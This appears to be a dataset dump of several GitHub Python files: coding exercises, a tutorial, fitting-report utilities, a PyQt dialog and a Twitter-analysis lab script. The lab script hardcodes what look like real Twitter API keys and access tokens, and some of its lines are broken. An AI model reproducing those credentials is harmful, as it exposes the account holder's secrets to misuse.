\"top\": [[\"seo\", 15], [\"better\", 10]]' in captured.out\n    assert captured.out.count('\\n') == 2\n","repo_name":"Garanyan/made","sub_path":"advanced_python_2/test_analyze_stackoverflow.py","file_name":"test_analyze_stackoverflow.py","file_ext":"py","file_size_in_byte":9326,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"51"}
+{"seq_id":"17651603774","text":"\" 문자열 반복 \"\r\n\r\n# n=int(input())\r\n# for i in range(n):\r\n#     num, s = input().split() # 이게 포인트.. [0],[1] 안쓰고 첨부터 지정\r\n#     text = '' # 문자에 담아줌 : ''\r\n#     for i in s:\r\n#         text += int(num)*i\r\n#     print(text)\r\n\r\n\" 단어 공부 \"\r\n\r\n# word = input().upper()\r\n# wordli = list(set(word))\r\n# cnt = [] # 수 세어주고 저장 \r\n\r\n# for i in wordli:\r\n#     count = word.count(i)\r\n#     cnt.append(count)\r\n# if cnt.count(max(cnt)) >=2: # max 센 개수가 2개 이상\r\n#     print('?')\r\n# else:\r\n#     print(wordli[(cnt.index(max(cnt)))])\r\n\r\n\" 단어의 갯수 \"\r\n# word = input().split()\r\n# print(len(word)) # 스플릿으로 나누어준 단어 수 세어줌... len..\r\n\r\n\" 다이얼 \"\r\n\r\n# num = ['ABC','DEF','GHI','JKL','MNO','PQRS','TUV','WXYZ']\r\n# save = 0\r\n\r\n# li = list(input())\r\n\r\n# for i in li: # WA \r\n#     # print(i)\r\n#     for j in num:\r\n#         if i in j: # for 문으로 각 문자열을 돌게 해야함@! 그리고 있으면 in !!\r\n#             save += num.index(j) + 3\r\n# print(save)\r\n\r\n\" 크로아티아 알파벳 \"\r\n# cro = ['c=', 'c-', 'dz=', 'd-', 'lj', 'nj', 's=', 'z=']\r\n# s = input()\r\n\r\n# for i in cro:\r\n#     s = s.replace(i, 'a')\r\n# print(len(s))\r\n\r\n\" 그룹 단어 체커 \"\r\n\r\n# n = int(input())\r\n# cnt = n # 3 \r\n\r\n# for i in range(n):\r\n#     word = input() # happy \r\n#     for j in range(len(word)-1): # 4 \r\n#         if word[j] == word[j+1]: # aaa 일 경우 통과\r\n#             pass\r\n#         elif word[j] in word[j+1:]: # aaba 일 경우 -1 \r\n#             cnt -= 1\r\n#             break\r\n# print(cnt)\r\n\r\n\" 큰 수 a+b \"\r\n# a, b = map(int, input().split())\r\n# print(a+b)\r\n\r\n\" 부녀회장이 될테야 \"\r\n# t=int(input())\r\n\r\n# for _ in range(t):\r\n#     floor=int(input())\r\n#     num=int(input())\r\n#     f0 = [x for x in range(1, num+1)]\r\n#     for k in range(floor):\r\n#         for i in range(1, num):\r\n#             f0[i] += f0[i-1]\r\n#     print(f0[-1]) # 가장 마지막 수 출력 \r\n\r\n\" 분수찾기 \"\r\n# x=int(input())\r\n# num_list=[]\r\n\r\n# num=0\r\n# num_count=0\r\n\r\n# while num_count < x:\r\n#     num += 1\r\n#     num_count += num\r\n# num_count -= num\r\n\r\n# if num%2 == 0:\r\n#     i = x -num_count\r\n#     j = num-i +1 \r\n# else:\r\n#     i = num - (x-num_count) + 1\r\n#     j = x - num_count\r\n\r\n# print(f\"{i}/{j}\")\r\n\r\n\" 수 정렬하기 3 \"\r\n\r\nimport sys\r\ninput = sys.stdin.readline\r\n\r\nt = int(input())\r\nnumlist = [0] * 10001 # 메모리 할당해주고 \r\n\r\nfor _ in range(t):\r\n    numlist[int(input())] += 1\r\n\r\nfor i in range(10001):\r\n    if numlist[i] != 0:\r\n        for j in range(numlist[i]):\r\n            print(i)\r\n\r\n","repo_name":"mangolee2/2022_BOJ","sub_path":"al_221124_iteration.py","file_name":"al_221124_iteration.py","file_ext":"py","file_size_in_byte":2601,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"11865392130","text":"#***********************************************************\r\n# Guia de ejercitación nº2\r\n# Fecha: 15/09/2021\r\n# Autor: Aldana Vallejos\r\n#***********************************************************\r\n# EJERCICIO 6: Se ingresa un conjunto de valores reales, cada uno de los cuales\r\n#              representan el sueldo de un empleado, excepto el último valor que\r\n#              es cero e indica el fin del conjunto. Se pide desarrollar un programa\r\n#              que determine e informe:\r\n#              a)\tCuántos empleados ganan menos $1.520.\r\n#              b)\tCuántos ganan  $1.520 o más pero menos de $2.780.\r\n#              c)\tCuántos ganan $2.780 o más pero menos de $5.999.\r\n#              d)\tCuántos ganan $5.999 o más.\r\n#***********************************************************\r\n#                   A N A L I S I S\r\n#***********************************************************\r\n# Entradas: sueldo, continuar\r\n# Salidas: sueldoa, sueldob, sueldoc, sueldod\r\n# Procesos: Ingresar sueldos\r\n#           contar los sueldo menores a 1520 -> sueldoa\r\n#           contar los sueldos mayores que 1520 y menores que 2700 -> sueldob\r\n#           Contar los sueldos mayores que 2780 y menores que 5999 -> sueldoc\r\n#           Contar los sueldos mayores que 5999 -> sueldod\r\n#           Parar el programa cuando se ingrese 0\r\n#           Mostrar los resultados por pantalla        \r\n#***********************************************************\r\n#                    D I S E Ñ O\r\n#***********************************************************\r\n# Declaración de variables\r\nsueldo=0.00\r\ncontinuar=\"S\"\r\nsueldoa=0\r\nsueldob=0\r\nsueldoc=0\r\nsueldod=0\r\n\r\nwhile continuar==\"S\":\r\n    continuar==\"N\"\r\n    # Ingreso de dato\r\n    sueldo=float(input(\"Ingrese el sueldo de un empleado: \"))\r\n\r\n    if sueldo<1520 and sueldo>=1:\r\n        sueldoa=sueldoa+1\r\n    elif sueldo>=1520 and sueldo<2780:\r\n        sueldob=sueldob+1\r\n    elif sueldo>=2780 and sueldo<5999:\r\n        sueldoc=sueldoc+1\r\n    elif sueldo>=5999:\r\n        sueldod=sueldod+1\r\n    elif sueldo==0:\r\n        break\r\n\r\n\r\n# Salida por pantalla\r\nprint(\"La cantidad de empleados que ganan menos de $1.520 es: {0}\".format(sueldoa))\r\nprint(\"La cantidad de empleados que ganan más de $1.520 pero menos de $2.700 es: {0}\".format(sueldob))\r\nprint(\"La cantidad de empleados que ganan más de $2.700 pero menos de $5.999 es: {0}\".format(sueldoc))\r\nprint(\"La cantidad de empleados que ganan más de $5.999 es: {0}\".format(sueldod))\r\n","repo_name":"AldanaVallejos/Guias-0-al-4","sub_path":"G3 ej6.py","file_name":"G3 ej6.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"15897707507","text":"\"\"\"example 1\"\"\"\ntry:\n    #will try to run this code and if there is error then except is executed\n    result = 10 + 10\nexcept:\n    print(\"Error in data-type\")\n    #executed of there is error\nelse:\n    #executed if there is no error\n    print(f\"The result is: {result}\")\n\n\n\"\"\"example 2\"\"\"\ntry:\n    f = open('testfile','w')\n    f.write(\"Write a test line\")\nexcept OSError:\n    print(\"Hey you have an OS Error\")\nexcept:\n    print(\"There was other type of error!!!\")\nfinally:\n    #finally always gets executed\n    print(\"I always run!\")\n\n\"\"\"3\"\"\"\ndef ask_for_int():\n    while True:\n        try:\n            num = int(input(\"Please input a number: \"))\n        except:\n            print(\"\\nOnly the input of a number is allowed... \\nTry again!\")\n            continue\n        else:\n            print(\"\\nYes,\\nThank you\")\n            break\n        finally:\n            print(\"\\n'try/except/finally' will always run at the end!\")\nask_for_int()\n\n\"\"\"4\"\"\"\nfor i in ['a',2,3]:\n    try:\n        print(i**2)\n    except:\n        print(\"This was not a number\")\n        continue\n\n\"\"\"5\"\"\"\nx = 1\ny = 2\ntry:\n    z = x/y\nexcept:\n    print(\"Either x or y are not integer or y is zero(0)!\")\nfinally:\n    print(\"The addition is done!\")\n\n\"\"\"6\"\"\"\ndef ask():\n    while True:\n        try:\n            x = int(input(\"\\nPlease enter a number\\n\"))\n        except:\n            print(\"Please input a number, not a string!\")\n        else:\n            print(\"The number squared is: \")\n            print(x**2)\n            break\nask()","repo_name":"webdevohelp/Python-Projects","sub_path":"errorsExceptions.py","file_name":"errorsExceptions.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"35725186376","text":"import errno\nimport glob\nimport os\nimport re\nimport shutil\n\nfrom pypadre.core.model.code.code_mixin import CodeMixin, PythonPackage, PythonFile, GenericCall, \\\n    GitIdentifier, RepositoryIdentifier, PipIdentifier, Function\nfrom pypadre.pod.backend.i_padre_backend import IPadreBackend\nfrom pypadre.pod.repository.i_repository import ICodeRepository\nfrom pypadre.pod.repository.local.file.generic.i_file_repository import File\nfrom pypadre.pod.repository.local.file.generic.i_git_repository import IGitRepository\nfrom pypadre.pod.repository.local.file.project_code_repository import CODE_FILE\nfrom pypadre.pod.repository.serializer.serialiser import JSonSerializer\n\n\ndef copy(src, dest):\n    try:\n        shutil.copytree(src, dest)\n    except OSError as e:\n        # If the error was caused because the source wasn't a directory\n        if e.errno == errno.ENOTDIR:\n            shutil.copy(src, dest)\n        else:\n            print('Directory not copied. Error: %s' % e)\n\n\nNAME = \"code\"\n\nMETA_FILE = File(\"metadata.json\", JSonSerializer)\n# CODE_FILE = File(\"code.bin\", DillSerializer)\n\n\nclass CodeFileRepository(IGitRepository, ICodeRepository):\n\n    @staticmethod\n    def placeholder():\n        return '{CODE_ID}'\n\n    def __init__(self, backend: IPadreBackend):\n        super().__init__(root_dir=os.path.join(backend.root_dir, NAME), backend=backend)\n\n    def _get_by_dir(self, directory):\n        path = glob.glob(os.path.join(self._replace_placeholders_with_wildcard(self.root_dir), directory))[0]\n\n        metadata = self.get_file(path, META_FILE)\n\n        return self._create_object(metadata, directory)\n\n    def _create_object(self, metadata, directory, root_dir=None):\n\n        identifier_type = metadata.get(CodeMixin.REPOSITORY_TYPE)\n        identifier_data = metadata.get(CodeMixin.IDENTIFIER)\n\n        identifier = None\n        if identifier_type == RepositoryIdentifier._RepositoryType.pip:\n            version = identifier_data.get(PipIdentifier.VERSION)\n            pip_package = identifier_data.get(PipIdentifier.PIP_PACKAGE)\n            identifier = PipIdentifier(version=version, pip_package=pip_package)\n\n        if identifier_type == RepositoryIdentifier._RepositoryType.git:\n            path = identifier_data.get(GitIdentifier.PATH)\n            git_hash = identifier_data.get(GitIdentifier.GIT_HASH)\n            identifier = GitIdentifier(path=path, git_hash=git_hash)\n\n        if identifier is None:\n            raise ValueError(\n                \"Identifier is not present in the meta information of code object in directory \" + directory)\n\n        if metadata.get(CodeMixin.CODE_TYPE) == str(CodeMixin._CodeType.function):\n            if root_dir is not None:\n                fn_dir = glob.glob(os.path.join(self._replace_placeholders_with_wildcard(root_dir),\n                                   os.path.abspath(os.path.join(directory, '..', 'function'))))[0]\n            else:\n                fn_dir = glob.glob(os.path.join(self._replace_placeholders_with_wildcard(self.root_dir),\n                                       os.path.abspath(os.path.join(directory, '..', 'function'))))[0]\n            fn = self.get_file(fn_dir, CODE_FILE)\n            code = Function(fn=fn, metadata=metadata, repository_identifier=identifier)\n\n        elif metadata.get(CodeMixin.CODE_TYPE) == str(CodeMixin._CodeType.package):\n            code = PythonPackage(metadata=metadata, path=metadata.get(PythonFile.PATH), package=metadata.get(PythonPackage.PACKAGE), variable=metadata.get(PythonPackage.VARIABLE), repository_identifier=identifier)\n\n        elif metadata.get(CodeMixin.CODE_TYPE) == str(CodeMixin._CodeType.python_file):\n            code = PythonFile(metadata=metadata, path=metadata.get(PythonFile.PATH), package=metadata.get(PythonFile.PACKAGE), variable=metadata.get(PythonFile.VARIABLE), repository_identifier=identifier)\n\n        elif metadata.get(CodeMixin.CODE_TYPE) == str(CodeMixin._CodeType.file):\n            code = GenericCall(metadata=metadata, cmd=metadata.get(GenericCall.CMD), repository_identifier=identifier)\n        else:\n            raise NotImplementedError(metadata.get(CodeMixin.CODE_TYPE) + \" couldn't load from type.\")\n\n        return code\n\n    def to_folder_name(self, code):\n        # TODO only name for folder okay? (maybe a uuid, a digest of a config or similar?)\n        return str(code.id)\n\n    def list(self, search, offset=0, size=100):\n        if search is not None and \"name\" in search:\n            # Shortcut because we know name is the folder name. We don't have to search in metadata.json\n            name = search.pop(\"name\")\n            search[self.FOLDER_SEARCH] = re.escape(name)\n        return super().list(search, offset, size)\n\n    def _put(self, obj, *args, directory: str, **kwargs):\n        code = obj\n\n        if isinstance(code, Function):\n            # TODO fn repository\n            if not os.path.exists(os.path.abspath(os.path.join(directory, '..', 'function'))):\n                os.mkdir(os.path.abspath(os.path.join(directory, '..', 'function')))\n            self.write_file(os.path.abspath(os.path.join(directory, '..', 'function')), CODE_FILE, code.fn, mode=\"wb\")\n\n        self.write_file(directory, META_FILE, code.metadata)\n\n\n        # if store_code:\n        #     if isinstance(code, CodeFile):\n        #         code_dir = os.path.join(directory, \"code\")\n        #         if code.file is not None:\n        #             if not os.path.exists(code_dir):\n        #                 os.mkdir(code_dir)\n        #             copy(os.path.join(code.path, code.file), os.path.join(directory, \"code\", code.file))\n        #         else:\n        #             copy(code.path, code_dir)\n\n    # def get_code_hash(self, obj=None, path=None, init_repo=False, **kwargs):\n    #\n    #     code_hash = git_hash(path=path)\n    #     if code_hash is None and init_repo is True:\n    #         # if there is no repository present in the path, but the user wants to create a repo then\n    #         # Create a repo\n    #         # Add any untracked files and commit those files\n    #         # Get the code_hash of the repo\n    #         # TODO give git an id and hold some reference in workspace???\n    #         dir_path = os.path.dirname(path)\n    #         create_repo(dir_path)\n    #         add_and_commit(dir_path)\n    #         code_hash = git_hash(path=dir_path)\n    #\n    #     if obj is not None:\n    #         obj.set_hash(code_hash)\n","repo_name":"padre-lab-eu/pypadre","sub_path":"pypadre/pod/repository/local/file/code_repository.py","file_name":"code_repository.py","file_ext":"py","file_size_in_byte":6403,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
+{"seq_id":"10175028375","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 20 19:24:21 2012\n\n@author: Tillsten\n\nChanges:\n  -  13-Feb-2013 M Newville\n     complemented  \"report_errors\" and \"report_ci\" with\n     \"error_report\" and \"ci_report\" (respectively) which\n     return the text of the report.  Thus report_errors()\n     is simply:\n        def report_errors(params, modelpars=None, show_correl=True):\n            print error_report(params, modelpars=modelpars,\n                               show_correl=show_correl)\n     and similar for report_ci() / ci_report()\n\n\"\"\"\n\nfrom __future__ import print_function\nfrom .parameter import Parameters\nimport re\n\ndef alphanumeric_sort(s, _nsre=re.compile('([0-9]+)')):\n    return [int(text) if text.isdigit() else text.lower()\n            for text in re.split(_nsre, s)]\n\ndef getfloat_attr(obj, attr, fmt='%.3f'):\n    \"format an attribute of an object for printing\"\n    val = getattr(obj, attr, None)\n    if val is None:\n        return 'unknown'\n    if isinstance(val, int):\n        return '%d' % val\n    if isinstance(val, float):\n        return fmt % val\n    else:\n        return repr(val)\n\ndef gformat(val, length=11):\n    \"\"\"format a number with '%g'-like format, except that\n    the return will be length ``length`` (default=12)\n    and have at least length-6 significant digits\n    \"\"\"\n    length = max(length, 7)\n    fmt = '{: .%ig}' % (length-6)\n    if isinstance(val, int):\n        out = ('{: .%ig}' % (length-2)).format(val)\n        if len(out) > length:\n            out = fmt.format(val)\n    else:\n        out = fmt.format(val)\n    if len(out) < length:\n        if 'e' in out:\n            ie = out.find('e')\n            if '.' not in out[:ie]:\n                out = out[:ie] + '.' + out[ie:]\n            out = out.replace('e', '0'*(length-len(out))+'e')\n        else:\n            fmt = '{: .%ig}' % (length-1)\n            out = fmt.format(val)[:length]\n            if len(out) < length:\n                pad = '0' if '.' in  out else ' '\n                out += pad*(length-len(out))\n    return out\n\nCORREL_HEAD = '[[Correlations]] (unreported correlations are < % .3f)'\n\ndef fit_report(inpars, modelpars=None, show_correl=True, min_correl=0.1,\n               sort_pars=False):\n    \"\"\"return text of a report for fitted params best-fit values,\n    uncertainties and correlations\n\n    arguments\n    ----------\n       inpars       Parameters from fit or Minizer object returned from a fit.\n       modelpars    Optional Known Model Parameters [None]\n       show_correl  whether to show list of sorted correlations [True]\n       min_correl   smallest correlation absolute value to show [0.1]\n       sort_pars    If True, then fit_report will show parameter names\n                    sorted in alphanumerical order.  If False, then the\n                    parameters will be listed in the order they were added to\n                    the Parameters dictionary. If sort_pars is callable, then\n                    this (one argument) function is used to extract a\n                    comparison key from each list element.\n    \"\"\"\n    if isinstance(inpars, Parameters):\n        result, params = None, inpars\n    if hasattr(inpars, 'params'):\n        result = inpars\n        params = inpars.params\n    \n    if sort_pars:\n        if callable(sort_pars):\n            key = sort_pars\n        else:\n            key = alphanumeric_sort\n        parnames = sorted(params, key=key)\n    else:\n        # dict.keys() returns a KeysView in py3, and they're indexed further\n        # down\n        parnames = list(params.keys())\n\n    buff = []\n    add = buff.append\n    if result is not None:\n        add(\"[[Fit Statistics]]\")\n        add(\"    # function evals   = %s\" % getfloat_attr(result, 'nfev'))\n        add(\"    # data points      = %s\" % getfloat_attr(result, 'ndata'))\n        add(\"    # variables        = %s\" % getfloat_attr(result, 'nvarys'))\n        add(\"    chi-square         = %s\" % getfloat_attr(result, 'chisqr'))\n        add(\"    reduced chi-square = %s\" % getfloat_attr(result, 'redchi'))\n\n    namelen = max([len(n) for n in parnames])\n    add(\"[[Variables]]\")\n    for name in parnames:\n        par = params[name]\n        space = ' '*(namelen+1-len(name))\n        nout = \"%s:%s\" % (name, space)\n        inval = '(init= ?)'\n        if par.init_value is not None:\n            inval = '(init=% .7g)' % par.init_value\n        if modelpars is not None and name in modelpars:\n            inval = '%s, model_value =% .7g' % (inval, modelpars[name].value)\n        try:\n            sval = gformat(par.value)\n        except (TypeError, ValueError):\n            sval = 'Non Numeric Value?'\n\n        if par.stderr is not None:\n            serr = gformat(par.stderr, length=9)\n\n            try:\n                spercent = '({:.2%})'.format(abs(par.stderr/par.value))\n            except ZeroDivisionError:\n                spercent = ''\n            sval = '%s +/-%s %s' % (sval, serr, spercent)\n\n        if par.vary:\n            add(\"    %s %s %s\" % (nout, sval, inval))\n        elif par.expr is not None:\n            add(\"    %s %s  == '%s'\" % (nout, sval, par.expr))\n        else:\n            add(\"    %s % .7g (fixed)\" % (nout, par.value))\n\n    if show_correl:\n        add(CORREL_HEAD % min_correl)\n        correls = {}\n        for i, name in enumerate(parnames):\n            par = params[name]\n            if not par.vary:\n                continue\n            if hasattr(par, 'correl') and par.correl is not None:\n                for name2 in parnames[i+1:]:\n                    if (name != name2 and name2 in par.correl and\n                        abs(par.correl[name2]) > min_correl):\n                        correls[\"%s, %s\" % (name, name2)] = par.correl[name2]\n\n        sort_correl = sorted(correls.items(), key=lambda it: abs(it[1]))\n        sort_correl.reverse()\n        for name, val in sort_correl:\n            lspace = max(1, 25 - len(name))\n            add('    C(%s)%s = % .3f ' % (name, (' '*30)[:lspace], val))\n    return '\\n'.join(buff)\n\n\ndef report_errors(params, **kws):\n    \"\"\"print a report for fitted params:  see error_report()\"\"\"\n    print(fit_report(params, **kws))\n\n\ndef report_fit(params, **kws):\n    \"\"\"print a report for fitted params:  see error_report()\"\"\"\n    print(fit_report(params, **kws))\n\n\ndef ci_report(ci):\n    \"\"\"return text of a report for confidence intervals\"\"\"\n    maxlen = max([len(i) for i in ci])\n    buff = []\n    add = buff.append\n    convp = lambda x: (\"%.2f\" % (x[0]*100))+'%'\n    conv = lambda x: \"%.5f\" % x[1]\n    title_shown = False\n    for name, row in ci.items():\n        if not title_shown:\n            add(\"\".join([''.rjust(maxlen)]+[i.rjust(10)\n                                            for i in map(convp, row)]))\n            title_shown = True\n        add(\"\".join([name.rjust(maxlen)]+[i.rjust(10)\n                                          for i in map(conv,  row)]))\n    return '\\n'.join(buff)\n\n\ndef report_ci(ci):\n    \"\"\"print a report for confidence intervals\"\"\"\n    print(ci_report(ci))\n","repo_name":"DiamondLightSource/auto_tomo_calibration-experimental","sub_path":"old_code_scripts/measure_resolution/lmfit-py/lmfit/printfuncs.py","file_name":"printfuncs.py","file_ext":"py","file_size_in_byte":6963,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
+{"seq_id":"71543910862","text":"import pip\npip.main([\"install\",\"twitter\"])\nimport json\nimport twitter\nfrom twitter import Twitter\nfrom twitter import OAuth\nfrom twitter import TwitterHTTPError\nfrom twitter import TwitterStream\nck=\"4utyWgvDx6HziBbOOMrk9A8Zx\"\ncksecret=\"bOulyl2Uac0hGayZSDwrZm1o2ULkTZMLUYubOmEXSkwjPhYVJy\"\nACCESS_Token=\"824423500991660032-6mBuL78cft4sIPx0dnEYrKiDNjIXZz1\"\nACCESS_Secret=\"fvg7ptaTu9cD5OqAYjCE4cIn3REDjOy6Fv8TP24aHCguD\"\noauth = OAuth(ACCESS_Token, ACCESS_Secret, ck, cksecret)\noauth = OAuth(ACCESS_Token,ACCESS_Secret,ck,cksecret)\ntwit_api = Twitter(auth=oauth)\ntwit_api = Twitter(auth=oauth)\nq='#trump'\ncount=2100\nsearch_results=twit_api.search.tweets(q=q,count=count)\nstatuses=search_results['statuses']\nstatuses[0]['text']\nstatus_texts=[status['text'] for status in statuses]\nscreen_names=[user_mention['screen_name']\n    for status in statuses\n        for user_mention in status['entities']['user_mentions']]\nhashtags=[hashtag['text']\n    for status in statuses \n        for hashtag in status['entities']['hashtags']]\nwords = [ w\n    for t in status_texts\n        for w in t.split()]\nprint(json.dumps(status_texts[0:5],indent=1))\nprint(json.dumps(screen_names[0:5],indent=1))\nprint(json.dumps(hashtags[0:5],indent=1))\nprint(json.dumps(words[0:5],indent=1))\nfrom collections import Counter\nfor item in [words,screen_names, hashtags]:\n        c=Counter(item)\n        print(c.most_common()[:10])\n        print()\nimport pip\npip.main([\"install\",\"prettytable\"])\nfrom prettytable import PrettyTable\nfor label, data in ((\"Word\",words),('Screen Name',screen_names),('Hashtag',hashtags)):\n    pt=PrettyTable(field_names=[label,'Count'])\n    c=Counter(data)\n    [pt.add_row(kv) for kv in c.most_common()[:10]]\n    pt.align[label],pt.align[\"Count\"]=\"l\",\"r\"\n    print(pt)\nretweets=[\n    (status['retweet_count'],\n    status['retweeted_status']['user']['screen name'],\n    status['text'])\n    for status in statuses\n        if status.has_key['retweeted_status']]\n_retweets=twitter_api.statuses.retweets(id=317127304981667841)\nprint(r['user']['screen_name'] for r in _retweets)\nfrom matplotlib import pyplot as plt\nword_counts=sorted(Counter(words).values(),reverse=True)\nplt.loglog(word_counts)\nplt.ylabel(\"Freq\")\nplt.xlabel(\"Word Rank\")\nfor label, data in (('Words',words),('Screen Names', screen_names),(\"Hashtags\",hashtags)):\n        c=Counter(data)\n        plt.hist(list(c.values()))\n        plt.title(label)\n        plt.ylab(\"Number of Items in Bin\")\n        plt.xlab(\"Bins(Number of times an item appeared)\")\n        plt.figure()\ncounts=[count for count, _,_ in retweets]\nplt.hist(counts)\nplt.title(\"Retweets\")\nplt.xlabel('Bins (number of times retweeted)')\nplt.ylabel('Number of tweets in the Bin')\nprint(counts)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"creaturemonster/BAP","sub_path":"lab2.py","file_name":"lab2.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"34651131180","text":"# 1부터 N까지 자연수 ��에서 중복없이 M개를 고른 수열\ndef permutaion(k):\n    if k == M:\n        for i in range(len(order)):\n            print(order[i], end= ' ')\n        print()\n    else:\n        for i in range(N):\n            if visit[i] == 1:\n                continue\n            visit[i] = 1\n            order.append(arr[i])\n            permutaion(k+1)\n            visit[i] = 0\n            order.pop()\n\nN, M = map(int,input().split())\narr = [x for x in range(1,N+1)]\nn = len(arr)\nvisit = [0] * n\norder = []\npermutaion(0)","repo_name":"potomatoo/TIL","sub_path":"Baekjoon/boj_15649_N과M(1).py","file_name":"boj_15649_N과M(1).py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"24120338153","text":"# https://leetcode.com/problems/maximum-product-subarray/\n\nclass Solution(object):\n    def maxProduct(self, nums):\n        \"\"\"\n        :type nums: List[int]\n        :rtype: int\n        \"\"\"\n        arr = nums\n        neg = arr[0]\n        pos = arr[0]\n        target = arr[0]\n        for val in arr[1:]:\n            if val >= 0:\n                pos *= val\n                pos = max(pos, val)\n                neg *= val\n            if val < 0:\n                pos, neg = neg, pos\n                pos *= val\n                neg *= val\n                neg = min(neg, val)\n            target = max(pos, target)\n\n        return target\n        ","repo_name":"munagekar/cp","sub_path":"leetcode/maximum_product_subarray.py","file_name":"maximum_product_subarray.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
+{"seq_id":"40707515682","text":"import sys\nfrom PyQt4 import QtGui, QtCore\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\n\nfrom models import *\n\n\nclass Detail_Bill(QDialog):\n\n    MAPPER_BOOLEAN_TYPES = {\n        'False': 'No',\n        'True': 'Si'\n    }\n\n    def __init__(self, object_id, parent = None):\n        # QDialog.__init__(self, parent)\n        super(Detail_Bill, self).__init__(parent)\n        self.product_id = object_id\n\n        self.query = (session.query(Detalle)\n                      .filter(Detalle.factura == self.product_id).all())\n\n        self.query_bill = (session.query(Factura, Cliente)\n                           .join(Cliente)\n                           .filter(Factura.id == self.product_id)\n                           .filter(Factura.cliente == Cliente.id).first())\n\n        self.control_singleton = False\n        self.acceptButton = QPushButton(\"Aceptar\", self)\n\n        client = QLabel('Cliente')\n        bill = QLabel('Factura')\n        date = QLabel('Fecha')\n        price = QLabel('Precio Total')\n\n        self.edit_client = QLineEdit()\n        self.edit_client.setText(str(self.query_bill[1].nombre))\n        self.edit_client.setDisabled(True)\n        self.edit_bill = QLineEdit()\n        self.edit_bill.setText(str(self.product_id))\n        self.edit_bill.setDisabled(True)\n        self.edit_date = QDateEdit(self.query_bill[0].fecha)\n        self.edit_date.setDisplayFormat(('yyyy-MM-dd'))\n        self.edit_date.setDisabled(True)\n        self.edit_total_price = QLineEdit()\n        self.edit_total_price.setDisabled(True)\n\n        self.products_group = QtGui.QGroupBox(str(\"Productos\"), self)\n        self.initializate_products_group()\n\n        grid = QGridLayout()\n        self.layout_line_bill = QtGui.QHBoxLayout()\n        self.layout_line_date = QtGui.QHBoxLayout()\n        self.layout_line_price = QtGui.QHBoxLayout()\n        self.layout_line_bill.addWidget(client)\n        self.layout_line_bill.addWidget(self.edit_client)\n        self.layout_line_bill.addWidget(bill)\n        self.layout_line_bill.addWidget(self.edit_bill)\n        self.layout_line_date.addWidget(date)\n        self.layout_line_date.addWidget(self.edit_date)\n        self.layout_line_price.addWidget(price)\n        self.layout_line_price.addWidget(self.edit_total_price)\n        grid.addLayout(self.layout_line_bill, 1, 0)\n        grid.addLayout(self.layout_line_date, 2, 0)\n        grid.addWidget(self.products_group, 3, 0)\n        grid.addLayout(self.layout_line_price, 4, 0)\n        grid.addWidget(self.acceptButton, 5, 0)\n\n        self.setLayout(grid)\n\n        desktopSize = QDesktopWidget().screenGeometry()\n        self.setFixedSize(desktopSize.width() / 2, desktopSize.height() / 2)\n        size = self.size()\n        top = (desktopSize.height() / 2) - (size.height() / 2)\n        left = (desktopSize.width() / 2) - (size.width() / 2)\n\n        self.move(left, top)\n        self.setWindowTitle('Ver Detalle de Factura')\n        self.acceptButton.clicked.connect(self.close)\n\n    def initializate_products_group(self):\n        self.layout_line = QtGui.QFormLayout()\n        # Creating table\n        self.table_items = QtGui.QTableWidget(self)\n\n        self.table_items.setRowCount(len(self.query))\n\n        self.table_items.setColumnCount(3)\n        self.table_items.resizeColumnsToContents()\n\n        self.table_items.setEditTriggers(QAbstractItemView.NoEditTriggers)\n        header = self.table_items.horizontalHeader()\n        total_price = 0\n        self.stringRow = ''\n        for detail in range(len(self.query)):\n            try:\n                self.table_items.setHorizontalHeaderLabels(['Producto', 'Cantidad',\n                                                            'Precio Total'])\n                product = session.query(Producto).get(self.query[detail].producto)\n                self.table_items.setItem(detail, 0,\n                                         QtGui.QTableWidgetItem(str(product.nombre)))\n                self.table_items.setItem(detail, 1,\n                                         QtGui.QTableWidgetItem(str(self.query[detail].cantidad)))\n                self.table_items.setItem(detail, 2,\n                                         QtGui.QTableWidgetItem(str(self.query[detail].precio_total)))\n                total_price += self.query[detail].precio_total\n                self.edit_total_price.setText(str(total_price))\n            except TypeError:\n                service = session.query(Servicio).get(self.query[detail].servicio)\n                self.table_items.setHorizontalHeaderLabels(['Servicio', 'Cancelado',\n                                                            'Precio Total'])\n                tipo = session.query(TipoServicio).get(service.tipo)\n                self.table_items.setItem(detail, 0,\n                                         QtGui.QTableWidgetItem(str(tipo.nombre)))\n                self.table_items.setItem(detail, 1,\n                                         QtGui.QTableWidgetItem(\n                                             self.MAPPER_BOOLEAN_TYPES[str(service.cancelado)]))\n                self.table_items.setItem(detail, 2,\n                                         QtGui.QTableWidgetItem(str(self.query[detail].precio_total)))\n                self.edit_total_price.setText(str(self.query[detail].precio_total))\n\n            self.stringRow = self.stringRow + str(detail+1) + ','\n\n        self.table_items.setVerticalHeaderLabels(\n            QString(self.stringRow).split(','))\n        self.table_items.resizeColumnsToContents()\n        self.layout_line.addRow(self.table_items)\n        self.products_group.setLayout(self.layout_line)","repo_name":"elias174/LibraryElohim","sub_path":"tab_views/DetailBill.py","file_name":"DetailBill.py","file_ext":"py","file_size_in_byte":5596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
